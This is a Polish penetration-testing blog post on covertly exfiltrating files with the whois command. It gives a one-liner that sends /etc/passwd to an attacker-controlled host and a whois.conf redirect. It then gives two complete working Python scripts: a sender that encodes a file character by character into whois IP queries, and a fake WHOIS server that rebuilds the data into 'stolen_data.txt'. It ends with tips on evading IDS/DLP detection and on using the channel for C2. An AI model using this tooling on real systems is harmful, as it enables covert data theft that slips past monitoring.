Udoskonalamy eksfiltrację danych za pomocą polecenia whois
Napisał: Patryk Krawaczyński
Wczoraj w Pen Test Brak komentarzy. (artykuł nr 941, ilość słów: 1919)
O
podstawach działania narzędzia whois oraz jego dobrym działaniu jako źródle informacji pisałem nie raz. W aktualnej publikacji zajmiemy się zupełnie innym zastosowaniem tego narzędzia, a mianowicie eksfiltracją danych – znaną również jako wykradanie lub eksport danych do lokalizacji kontrolowanej przez atakującego. Słowem małego przypomnienia whois to prosty protokół żądania i odpowiedzi, powszechnie używany do przeszukiwania baz danych zawierających zarejestrowanych użytkowników obiektów internetowych, takich jak nazwy domenowe lub adresy IP. Ze względu na mnogość opcji oferowanych przez plik binarny tego narzędzia może zostać on użyty do przesłania dowolnego pliku z zaatakowanej maszyny na system atakującego za pośrednictwem jawnego połączenia TCP.
W swojej pierwotnej formie eksfiltracja danych za pomocą whois jest bardzo prosta, a wręcz „spartańska” i łatwa w detekcji. Otóż na komputerze ofiary wskazujemy plik, który chcemy przesłać dodając do tego adres IP i zdalny port transferu pliku:
whois -h whois.iguana.org -p 1337 `cat /etc/passwd`
Jeśli teraz na serwerze whois.iguana.org pozostającym pod kontrolą atakującego będzie nasłuchiwać na porcie 1337 program netcat to odbierze on zawartość pliku /etc/passwd:
root@darkstar:~# netcat -w 1 -nlvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.32.100.10 38858 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin ... sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin ... man:x:6:12:man:/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...
W tej technice jest kilka niedociągnięć. Od strony składni polecenia: 1) używamy jawnie niestandardowego serwera whois oraz portu; 2) podajemy nietypowy obiekt (ścieżka do pliku zamiast domeny / adresu IP) jako zapytanie do programu. Od strony komunikacji: jawnym tekstem przesyłamy zawartość pliku, którego część może zostać wyłapana przez oprogramowanie typu IDS (ang. Intrusion Detection System) / IPS (ang. Intrusion Prevention System) / DLP (ang. Data Loss Prevention). Od strony użyteczności: ponieważ otrzymujemy zmodyfikowany strumień danych od programu whois formatowanie pliku (znaki nowych linii) przepada. W celu ucywilizowania tej metody będziemy potrzebować: jeden plik konfiguracyjny i dwa proste skrypty napisane w języku Python.
W celu uproszczenia wydawanego polecenia przy ekstrakcji danych posłużymy się plikiem konfiguracyjnym whois, który jest czytany ze ścieżki: /etc/whois.conf. Plik ten może zawierać listę serwerów WHOIS, o którą możemy rozszerzyć lub zastąpić wbudowaną listę klienta. Każdy wiersz tego pliku powinien składać się z dwóch pól: wzorca (dopasowania) odpowiadającego identyfikatorowi obiektu WHOIS oraz odpowiadającemu adresowi serwera WHOIS (pod postacią domeny lub adresu IP), który ma obsługiwać zdefiniowany adres. W praktyce oznacza to, że możemy przekierować odpytywanie dowolnych domen lub adresów IP na wybrany przez nas serwer WHOIS. Jeśli teraz dodamy do wspomnianego pliku wpisy:
^172\.(3[2-9]|[4-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-4])\. whois.iguana.org
^nfsec\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])\.com$ whois.iguana.org
To przekierujemy odpytywanie o zakres adresów IP: 172.32.0.0 – 172.255.255.255 lub domeny nfsec.0.com – nfsec.255.com na serwer whois.iguana.org – bez konieczności uwzględniania tego w linii poleceń. Opcję zmiany portu możemy wyeliminować nasłuchując na serwerze przyjmującym dane na natywnym porcie 43 przeznaczonym dla usługi WHOIS. Pozostaje opracowanie nam sposobu komunikacji, która będzie bazowała na odpytywaniu adresów IP lub domen. Będzie miała ona swoje ograniczona, ale w zasadzie jest to bardzo proste: jak wiemy każdy adres IPv4 składa się z 32 bitów, podzielonych na cztery oktety (oddzielonych kropkami), gdzie każdy oktet reprezentuje liczbę od 0 do 255. Tak się składa, że tablica ASCII w reprezentacji decymalnej również ma zakres od 0 do 255. Dlatego, jeśli wydamy serię poleceń:
whois 172.143.233.100 whois 172.167.123.97 whois 172.180.120.114 whois 172.128.198.107 whois 172.130.231.115 whois 172.145.249.116 whois 172.121.190.97 whois 172.192.162.114 whois 172.233.19.10
I zamienimy wartości decymalne ostatniego oktetu tych adresów IP na odpowiadające im znaki ASCII otrzymamy napis: d (100) a (97) r (114) k (107) s (115) t (116) a (97) r (114) line feed (10). Daje nam to skromne medium komunikacji (zachowujące formatowanie), w którym za pomocą samych adresów IP przemycamy informacje do wybranego serwera. Wystarczy, że teraz napiszemy mały skrypt w języku Python (whois-sender), który będzie czytał dowolny plik znak po znaku i zamieniał go na polecenie: whois 172.32-254.1-254.$DECYMALNY_ZNAK_ASCII:
#!/usr/bin/env python3
import sys
from random import randrange
import subprocess
def error_exit(msg):
print(f"ERROR: {msg}")
sys.exit(2)
def run_whois(ip):
command = ["whois", ip]
try:
result = subprocess.run(command, capture_output=True, text=True, check=True)
print(result.stdout)
except FileNotFoundError:
error_exit("Command 'whois' not found.")
def convert_signs(file_path):
try:
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()
if not content:
error_exit('File is empty.')
for sign in content:
decimal = ord(sign)
run_whois(f"172.{randrange(32,254)}.{randrange(1,254)}.{decimal}")
except FileNotFoundError:
error_exit(f"File {file_path} not found.")
except Exception as e:
error_exit(f"{e}.")
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <file path>")
else:
convert_signs(sys.argv[1])
Po drugiej stronie (na maszynie atakującego, do którego są kierowane zapytania whois) potrzebujemy skryptu (whois-receiver), który będzie odwracał ten proces. Z ostatniego oktetu otrzymanego adresu IP wyodrębniał liczbę decymalną, zamieniał ją na znak ASCII i zapisywał znak po znaku do pliku:
#!/usr/bin/env python3
import os
import sys
import socket
import threading
host = '0.0.0.0'
port = 43
log_file = 'stolen_data.txt'
def error_exit(msg):
print(f"ERROR: {msg}")
sys.exit(2)
def write_last_octet_as_ascii(ip):
try:
octets = ip.split('.')
if len(octets) != 4:
error_exit(f"Wrong IP format: {ip}.")
last_octet = int(octets[3])
if 0 <= last_octet <= 255:
ascii_char = chr(last_octet)
with open(log_file, 'a', encoding='utf-8') as file:
file.write(ascii_char)
else:
error_exit('Last octet out of range.')
except ValueError:
error_exit('Last octet is not integer.')
except Exception as e:
error_exit(f"{e}.")
def generate_whois_response(query):
response = (
f"inetnum: {query}\n"
f"netname: NFSEC-NETWORK\n"
f"descr: Network Access to Reserved Files\n"
f"country PL\n"
f"created: 2002-07-30T00:33:17Z\n"
f"last-modified: 2021-09-24T09:19:11Z\n"
f"status: LOGGED PA\n"
f"remarks: Please send ABUSE to abuse@redteam.nfsec.pl\n"
f"source: RIPE\n"
)
return response
def handle_whois_client(client_socket, client_address):
try:
request = client_socket.recv(1024).decode('utf-8').strip()
if request:
write_last_octet_as_ascii(request)
whois_data = generate_whois_response(request)
client_socket.sendall(whois_data.encode('utf-8'))
else:
error_exit('No data received.')
except Exception as e:
error_exit(f"{e}.")
finally:
client_socket.close()
def start_whois_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if os.path.exists(log_file):
os.remove(log_file)
try:
server_socket.bind((host, port))
server_socket.listen(5)
while True:
client_socket, client_address = server_socket.accept()
client_handler = threading.Thread(target=handle_whois_client,
args=(client_socket, client_address))
client_handler.start()
except PermissionError:
error_exit(f"I don't have permission to listen on the port: {port}")
except KeyboardInterrupt:
server_socket.close()
except Exception as e:
error_exit(f"{e}.")
finally:
server_socket.close()
if __name__ == '__main__':
start_whois_server()
Dodatkowo nasz podrobiony serwer WHOIS będzie odpowiadał (funkcja: generate_whois_response) na każde pytanie klienta. Sprawdźmy teraz działanie naszej ulepszonej eksfiltracji danych. Uruchamiamy serwer na maszynie atakującego:
root@darkstar:~# ./whois-receiver
Wszystkie zapisane dane znajdą się w pliku: stolen_data.txt. Na systemie ofiary zaczynamy „wynoszenie” danych z pliku:
root@stardust:~# head -2 /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin root@stardust:~# tail -2 /etc/passwd syslog:x:106:107::/nonexistent:/usr/sbin/nologin uuidd:x:107:108::/run/uuidd:/usr/sbin/nologin root@stardust:~# sha256sum /etc/passwd 943563f98f6fcabcad4647465451ae91b31b77205680e2a0f28b2d3b5631067b /etc/passwd root@stardust:~# ./whois-sender /etc/passwd
Po serii komunikatów odpowiedzi WHOIS, możemy sprawdzić odebrane dane na serwerze:
root@darkstar:~# ./whois_receiver.py ^Croot@darkstar:~# sha256sum stolen_data.txt 943563f98f6fcabcad4647465451ae91b31b77205680e2a0f28b2d3b5631067b stolen_data.txt root@darkstar:~# head -2 stolen_data.txt root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin root@darkstar:~# tail -2 stolen_data.txt syslog:x:106:107::/nonexistent:/usr/sbin/nologin uuidd:x:107:108::/run/uuidd:/usr/sbin/nologin
Nasza komunikacja nadal pozostaje jawna, ale cóż takiego jest w niej podejrzanego? To tylko zwykłe zapytanie WHOIS o właściciela adresu IP i odpowiedź od serwera:
root@darkstar:~# tcpflow -c -i any port 43 reportfilename: ./report.xml tcpflow: listening on any 152.032.001.001.54494-152.033.002.002.00043: 172.117.1.111 152.033.002.002.00043-152.032.001.001.54494: inetnum: 172.117.1.111 netname: NFSEC-NETWORK descr: Network Access to Reserved Files country PL created: 2002-07-30T00:33:17Z last-modified: 2021-09-24T09:19:11Z status: LOGGED PA remarks: Please send ABUSE to abuse@redteam.nfsec.pl source: RIPE
Linia poleceń powłoki również została sprowadzona do formatu:
whois 172.117.1.111
Bez zbędnych parametrów i podejrzanych obiektów w zapytaniu.
Podsumowanie:
Jak widzimy polecenie whois idealnie wpisuje się w technikę eksfiltracji danych za pomocą czystych adresów IP. Udoskonaleniem tej techniki w kwestii przyśpieszenia procesu oraz zmniejszenia liczby zapytań whois (które mogą budzić podejrzenia przy dużym wolumenie) może być wykorzystanie większej liczby oktetów adresu IP do przemytu danych. Możemy również przejść na model domenowy np.: nfsec.111.com oraz nfsec.107.com – daje już nam napis „ok”. Tutaj zamiast kolejnych oktetów możemy tworzyć kolejne subdomeny. Dodanie niedeterministycznych opóźnień w wykonywaniu zapytań również może wprowadzić pożądany szum. Większa liczba szablonów do losowych odpowiedzi również uwiarygodni nasz serwer WHOIS. Niestety największym ograniczeniem jest tutaj tablica ASCII, ale każdy plik binarny potraktowany base64 idealnie wpasowuje się w nasz nowy rodzaj komunikacji. No i oprócz transferu danych może to być też fajny sposób na komunikowanie z C2.
Więcej informacji: Data Exfiltration with the Help of Linux Binaries
Poprzedni wpis Brak nowszych postów

